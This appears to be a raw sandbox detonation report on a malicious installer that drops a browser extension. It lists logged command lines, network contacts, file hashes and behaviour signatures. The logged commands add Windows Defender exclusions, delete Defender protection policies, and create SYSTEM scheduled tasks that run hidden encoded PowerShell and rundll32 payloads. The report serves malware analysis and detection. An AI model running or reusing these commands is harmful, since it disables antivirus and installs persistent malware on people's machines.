cmd /C copy nul "C:\Windows\Temp\biwNYXhGTKCQxjLv\jmCEXvdp\WLZIKUVlZjyBdxVw.wsf"

C:\Windows\SysWOW64\wscript.exe

wscript "C:\Windows\Temp\biwNYXhGTKCQxjLv\jmCEXvdp\WLZIKUVlZjyBdxVw.wsf"

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LsajhStaXkJRC" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LsajhStaXkJRC" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QpigBxJgKxUn" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QpigBxJgKxUn" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YNUWFfCEdUiU2" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YNUWFfCEdUiU2" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oWxSecJNU" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oWxSecJNU" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\eiYaNjTCbhfbMeVB" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\eiYaNjTCbhfbMeVB" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LsajhStaXkJRC" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LsajhStaXkJRC" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QpigBxJgKxUn" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QpigBxJgKxUn" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YNUWFfCEdUiU2" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YNUWFfCEdUiU2" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oWxSecJNU" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oWxSecJNU" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\eiYaNjTCbhfbMeVB" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\eiYaNjTCbhfbMeVB" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\biwNYXhGTKCQxjLv" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "gGXdnLUiE" /SC once /ST 14:40:34 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "gGXdnLUiE"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==

C:\Windows\system32\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\system32\gpscript.exe

gpscript.exe /RefreshSystemParam

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "gGXdnLUiE"

C:\Windows\SysWOW64\cmd.exe

cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32

C:\Windows\SysWOW64\reg.exe

REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32

C:\Windows\SysWOW64\cmd.exe

cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64

C:\Windows\SysWOW64\reg.exe

REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "FTlmQXMDCFpnewAuq" /SC once /ST 01:46:11 /RU "SYSTEM" /TR "\"C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe\" VS /site_id 525403 /S" /V1 /F

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "FTlmQXMDCFpnewAuq"

C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe

C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\xSioIrZ.exe VS /site_id 525403 /S

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "bJbhxhmwQPPePEjnjA"

C:\Windows\SysWOW64\cmd.exe

cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32

C:\Windows\SysWOW64\reg.exe

REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32

C:\Windows\SysWOW64\cmd.exe

cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64

C:\Windows\SysWOW64\reg.exe

REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\oWxSecJNU\RFGJHj.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "zeLHdclAQOoTZxj" /V1 /F

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "zeLHdclAQOoTZxj2" /F /xml "C:\Program Files (x86)\oWxSecJNU\uDWRPTz.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /END /TN "zeLHdclAQOoTZxj"

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "zeLHdclAQOoTZxj"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "KJMKKiIztyaoEB" /F /xml "C:\Program Files (x86)\YNUWFfCEdUiU2\PMgTDtQ.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "xicirzYkCmkIU2" /F /xml "C:\ProgramData\eiYaNjTCbhfbMeVB\JvJsCjV.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "LUmQQZwnOYWgZobiD2" /F /xml "C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR\TbMpbDZ.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "IkWUsEdSKunoejOLGpU2" /F /xml "C:\Program Files (x86)\LsajhStaXkJRC\RisrdYR.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "dBpreMcpfXbehynYz" /SC once /ST 14:50:26 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\biwNYXhGTKCQxjLv\QiRWWjfh\IWShEOM.dll\",#1 /site_id 525403" /V1 /F

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "dBpreMcpfXbehynYz"

C:\Windows\system32\rundll32.EXE

C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\biwNYXhGTKCQxjLv\QiRWWjfh\IWShEOM.dll",#1 /site_id 525403

C:\Windows\SysWOW64\cmd.exe

cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\biwNYXhGTKCQxjLv\QiRWWjfh\IWShEOM.dll",#1 /site_id 525403

C:\Windows\SysWOW64\reg.exe

REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32

C:\Windows\SysWOW64\cmd.exe

cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64

C:\Windows\SysWOW64\reg.exe

REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "FTlmQXMDCFpnewAuq"

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "dBpreMcpfXbehynYz"

Network

Country Destination Domain Proto
US 8.8.8.8:53 service-domain.xyz udp
US 54.210.117.250:443 service-domain.xyz tcp
US 54.210.117.250:443 service-domain.xyz tcp
US 54.210.117.250:443 service-domain.xyz tcp
US 54.210.117.250:443 service-domain.xyz tcp
US 8.8.8.8:53 addons.mozilla.org udp
US 151.101.1.91:80 addons.mozilla.org tcp
US 151.101.1.91:443 addons.mozilla.org tcp
US 151.101.1.91:443 addons.mozilla.org tcp
US 151.101.1.91:443 addons.mozilla.org tcp
US 151.101.1.91:443 addons.mozilla.org tcp
US 151.101.1.91:80 addons.mozilla.org tcp
US 151.101.1.91:443 addons.mozilla.org tcp
US 151.101.1.91:443 addons.mozilla.org tcp
US 151.101.1.91:443 addons.mozilla.org tcp
US 151.101.1.91:443 addons.mozilla.org tcp
US 8.8.8.8:53 c.pki.goog udp
GB 142.250.187.227:80 c.pki.goog tcp
US 8.8.8.8:53 o.pki.goog udp
GB 142.250.187.227:80 o.pki.goog tcp
US 8.8.8.8:53 clients2.google.com udp
GB 142.250.178.14:443 clients2.google.com tcp
US 8.8.8.8:53 api.check-data.xyz udp
US 35.162.118.53:80 api.check-data.xyz tcp

Files

\Users\Admin\AppData\Local\Temp\7zS91E3.tmp\Install.exe

MD5 3b76af9e2510171d3739b8bc9ee2ee68
SHA1 4c8148a587ba7e6de8963c2d4dbbcceac39b3694
SHA256 3c888be794010977e28034fd484ed7363ff6c52dfe6c8449acbe6cce4e637768
SHA512 d9736ae8439c7d809cdd299423f8ac04f6301c4eb3c1997fa217b4e8cd77174f795d1632b23f6e8a93eb6c96b998a8258f2366b3d701a7a2b944cab83a3a8d94

\Users\Admin\AppData\Local\Temp\7zS94E0.tmp\Install.exe

MD5 ad10a30760d467dade24f430b558b465
SHA1 7aaa56e80264c27d080c3b77055294593eacca1b
SHA256 44c717fd08281b16f266bd9bc037fc16713a8ac02e1dfe519ba3be49bac8442a
SHA512 23c13f8c865da24d848b2843b67190188048e7383dcb2dff10f8e8e94862a8ae1916aef3566cd2ce4346c816f7e8301912a9fff4a04bb5380b75b98bd7154e63

memory/1588-23-0x0000000010000000-0x0000000010F04000-memory.dmp

memory/2340-30-0x000000001B810000-0x000000001BAF2000-memory.dmp

memory/2340-31-0x0000000001D20000-0x0000000001D28000-memory.dmp

C:\Windows\system32\GroupPolicy\gpt.ini

MD5 a62ce44a33f1c05fc2d340ea0ca118a4
SHA1 1f03eb4716015528f3de7f7674532c1345b2717d
SHA256 9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a
SHA512 9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 1e1a73ed139a19b024bed1da32620d4b
SHA1 d2c4bbe472d38fbcc55649ecb1fe3121ba7c261d
SHA256 1287ada11cd58edeb418c0134fbd4833cad8f6f052ee7b8455e8e81b7537bc4a
SHA512 77754f984e010ff3691db233b5183c6d2077860cec8669fe00dfec681e5cadfb560ecd341d6e3d788523d14ec25e34c65492cf7d8b63cdb26dd9cbfdfc1128df

memory/1120-48-0x0000000001F70000-0x0000000001F78000-memory.dmp

memory/1120-47-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 169c15c1b83617326a217f16bef588a9
SHA1 106f73c0f90633b28c47933e9bc46b4eec936b19
SHA256 a28f127a240241e8d548ca5e8fc06d169302527e524baf6d9a60db54f7a22c1f
SHA512 0e618588445845a10383f53ee7d80f2da50fc8147da5a4fd66e402c75afbe5ccc3a6e34fecc60b4d0b9ddce204e4b4c2d7a417cb5257b9cad56af574fd3da71d

memory/796-57-0x000000001B630000-0x000000001B912000-memory.dmp

memory/796-58-0x0000000001FE0000-0x0000000001FE8000-memory.dmp

C:\Windows\Temp\biwNYXhGTKCQxjLv\jmCEXvdp\WLZIKUVlZjyBdxVw.wsf

MD5 709c4271971787e63d190691e913030c
SHA1 f6d4a28a9bb5df7d3b2f9a8300f6f412717ba8ba
SHA256 b40a5f5cce794571d66a48cc8a1216fb050435406059471163232cd10bc4f1f5
SHA512 e2c52b15c760c83fad56b76f950a2b5b31d897826d125e654ba48400e2227923ab017ffbd0ff5e7a7acbf78567cfbf8c5ab22d211ac78b50770653473f08b482

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 27bedb67d9801687b20305cd9712f960
SHA1 4b155138b2fc9728a3431d16811ebecdffc5ab05
SHA256 fbc24570d542862a239b7b3460d65b2b46f71f5f9ab641b311cf588e5aca10e5
SHA512 1bdd9d77a318fceff0feed2a4eee944583d89c96bc71fc7ec7d8c1b856ab207f9fc374254a00132e6800b95f3107b3173f4220cb9c5a1fc7e06bfab5313befd2

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

memory/2640-86-0x0000000000630000-0x00000000006B5000-memory.dmp

C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi

MD5 bd2d83e1c8f7f7c34921341bc22763d0
SHA1 0d2e243b5142143a0a29cc26c77a23c1509e1c7a
SHA256 0d35a75be788e0f9762bb5fb698dd8382a41b81189f5d4794eae736acac7d028
SHA512 691dbf6dd40f493ba8f7a4887b996ad087528ce4c3f7ad24866497914c925ad08c649681bc6d47af9218f7b0ea17f386feeb0d3d5ed68ad140dccb2e17b73d38

memory/2640-121-0x0000000003540000-0x00000000035AB000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json

MD5 238d2612f510ea51d0d3eaa09e7136b1
SHA1 0953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA256 801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
SHA512 2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json

MD5 2a1e12a4811892d95962998e184399d8
SHA1 55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA256 32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
SHA512 bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

C:\Windows\system32\GroupPolicy\Machine\Registry.pol

MD5 103efdadea8dc9131b76649cbba6bedf
SHA1 30d71efcf6b0935bde43f50f336d886a8a6b8585
SHA256 f7940488e3457006f40052a873db5f5d403d81b10d566a58a84eb95a5eb419ff
SHA512 f914fb73d4e2a469e54f9832b986738d12737d86687de41aae65add5fb3327a49d72653120c1d1f954d04981263259badf420cb017205c4f417bd4d07528675c

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.json

MD5 0b1cf3deab325f8987f2ee31c6afc8ea
SHA1 6a51537cef82143d3d768759b21598542d683904
SHA256 0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
SHA512 5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

C:\Program Files (x86)\oWxSecJNU\uDWRPTz.xml

MD5 db3b0c7e23c2f6577abff96d02e965f0
SHA1 b298cda1806ef5507199fa879bdf4e523d571cb9
SHA256 2df64c3b62f318e211cf3aebfbabab4002c88ef513c1e26c9e2298abaf79a6a3
SHA512 7b9f199eb61dcb7739f13bbdde9073497a3e14761cf2c91b23d2f36c67f6e2d2c2f26782dc18332fc781e43bbf538346c20e380f894575ce164d9114f9050201

C:\Program Files (x86)\YNUWFfCEdUiU2\PMgTDtQ.xml

MD5 95d807cd8681011650942931d14d4300
SHA1 f308129d429bc493eb15d545842b0b44d24b3903
SHA256 57941f9c624850d4df70bc70a6dcd3856aaf8c9307bf6063209945fa3789ca67
SHA512 7f6abfce6cde9020636d298364138f096305635ac4441c4bd8d5bdabea6df23874e12ec5ef3e8ffc3651b0ccce9dc717b6e2abea660aa0903d3d6b748ceab622

C:\ProgramData\eiYaNjTCbhfbMeVB\JvJsCjV.xml

MD5 3cffc28fe1ba70a77ee47f086f42bb87
SHA1 ee8522ed7797b3dbb1cd16078bee0fdf095d3399
SHA256 76b0f8b98d5ac1af9869a3961c7ea57e0c1358014aff1f4a6745d4ad32705488
SHA512 e5ccecf3707b7c03f67a8a7b71a7ed0a97bb4b4a1c89b1a7f0790ca3c4156d88729df97e2ea0b814889136b20a5673f87d5615daf93925040a8a2c058e34ef1d

C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR\TbMpbDZ.xml

MD5 3c9f5bf0968b018fe0b73290ece5ac11
SHA1 ddb4bd12fa1def57157cdf01f2b7f94c2be2d472
SHA256 812d82a4ea367906231ae51daab1c4a4d62412371f76703e397d131cd93a3c4f
SHA512 a39fb756f4d3a193a9793c8be4158ea4cc71fb1945886a058d89393a070af8620ea3fcde98440cf58adf3181ddd1404c8766a65ea5ba0b8239551a25bb62e771

C:\Program Files (x86)\LsajhStaXkJRC\RisrdYR.xml

MD5 f0d276024c209c19775ca9f9947e2ad9
SHA1 1d8404098550eb7fc0f52af85d4c2367027bcbf7
SHA256 ee28a65f8c3e35c7bcf1a87c53f0374683abe277300701f1e333e9e04d72a2a5
SHA512 e8bc96e229fc247ae2fa7bf730f12ad80bd117c9ef682884cdf28d7fe189740a0e56866b1b7cf7df2f1da716576fa515584eebc8a6998170c37cd324f2f3cc8c

memory/2640-290-0x0000000003AA0000-0x0000000003B13000-memory.dmp

C:\Windows\Temp\biwNYXhGTKCQxjLv\QiRWWjfh\IWShEOM.dll

MD5 617698f01c7cceb3b262a98ba4da5a98
SHA1 c9244abc65ab3c485cc197ddea5e846b65d14bad
SHA256 9c0b90664119447fee609a6a27f5d97affa2ae310bd9d1aa37e458c9819f1754
SHA512 3b713c0ff53a7f88f628a90b30d59417bf5b92216666e4bd2f4c1cd502f338a1838c9691d5ee2830015b5f697ca811ee8e976d026c0d073b1487fb573b50a400

memory/2640-300-0x0000000004B30000-0x0000000004BED000-memory.dmp

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4k8o8gx5.default-release\prefs.js

MD5 b9f111af36b28a0cc6949ce48479c896
SHA1 71b722da7e58b3052809f10f33df22c8c5fe77de
SHA256 e998d8731f43f26c94ec88c822a4cf8226e7d8453b32003e6998820565fbd694
SHA512 2aa3ce135f5823bf4e23521e1e80fc7fe8e90c989158f43070a524c45af99a3ce7d64281eaac1224148323383de6464b6412fd0051b8f6495523fcd21e211edc

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 2d0100b3afdcd84a49b55fa5a9211313
SHA1 820380b89314cbbb864b365ab13b04e99540b7af
SHA256 e4c4db9006ceceba9765ff5b780a8ed48ffe105be96a041414ae892cbcc94961
SHA512 b1f27c95f3743cf5c4f2a883e238bc514a90b16cb62c8ce4f0553543ff1a91397714fc063494ff017ceaf61d018d856753725439263057c7250eeaa3e9f42eea

memory/608-323-0x0000000001480000-0x0000000002384000-memory.dmp

Analysis: behavioral12

Detonation Overview

Submitted

2024-11-06 17:46

Reported

2024-11-06 17:48

Platform

win10v2004-20241007-en

Max time kernel

91s

Max time network

143s

Command Line

"C:\Users\Admin\AppData\Local\Temp\PL\setup.exe"

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\rundll32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A

Indirect Command Execution

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\forfiles.exe N/A
N/A N/A C:\Windows\SysWOW64\forfiles.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A

Reads user/profile data of web browsers

spyware stealer

Checks installed software on the system

discovery

Drops Chrome extension

Description Indicator Process Target
File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A

Drops desktop.ini file(s)

Description Indicator Process Target
File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A

Drops file in System32 directory

Description Indicator Process Target
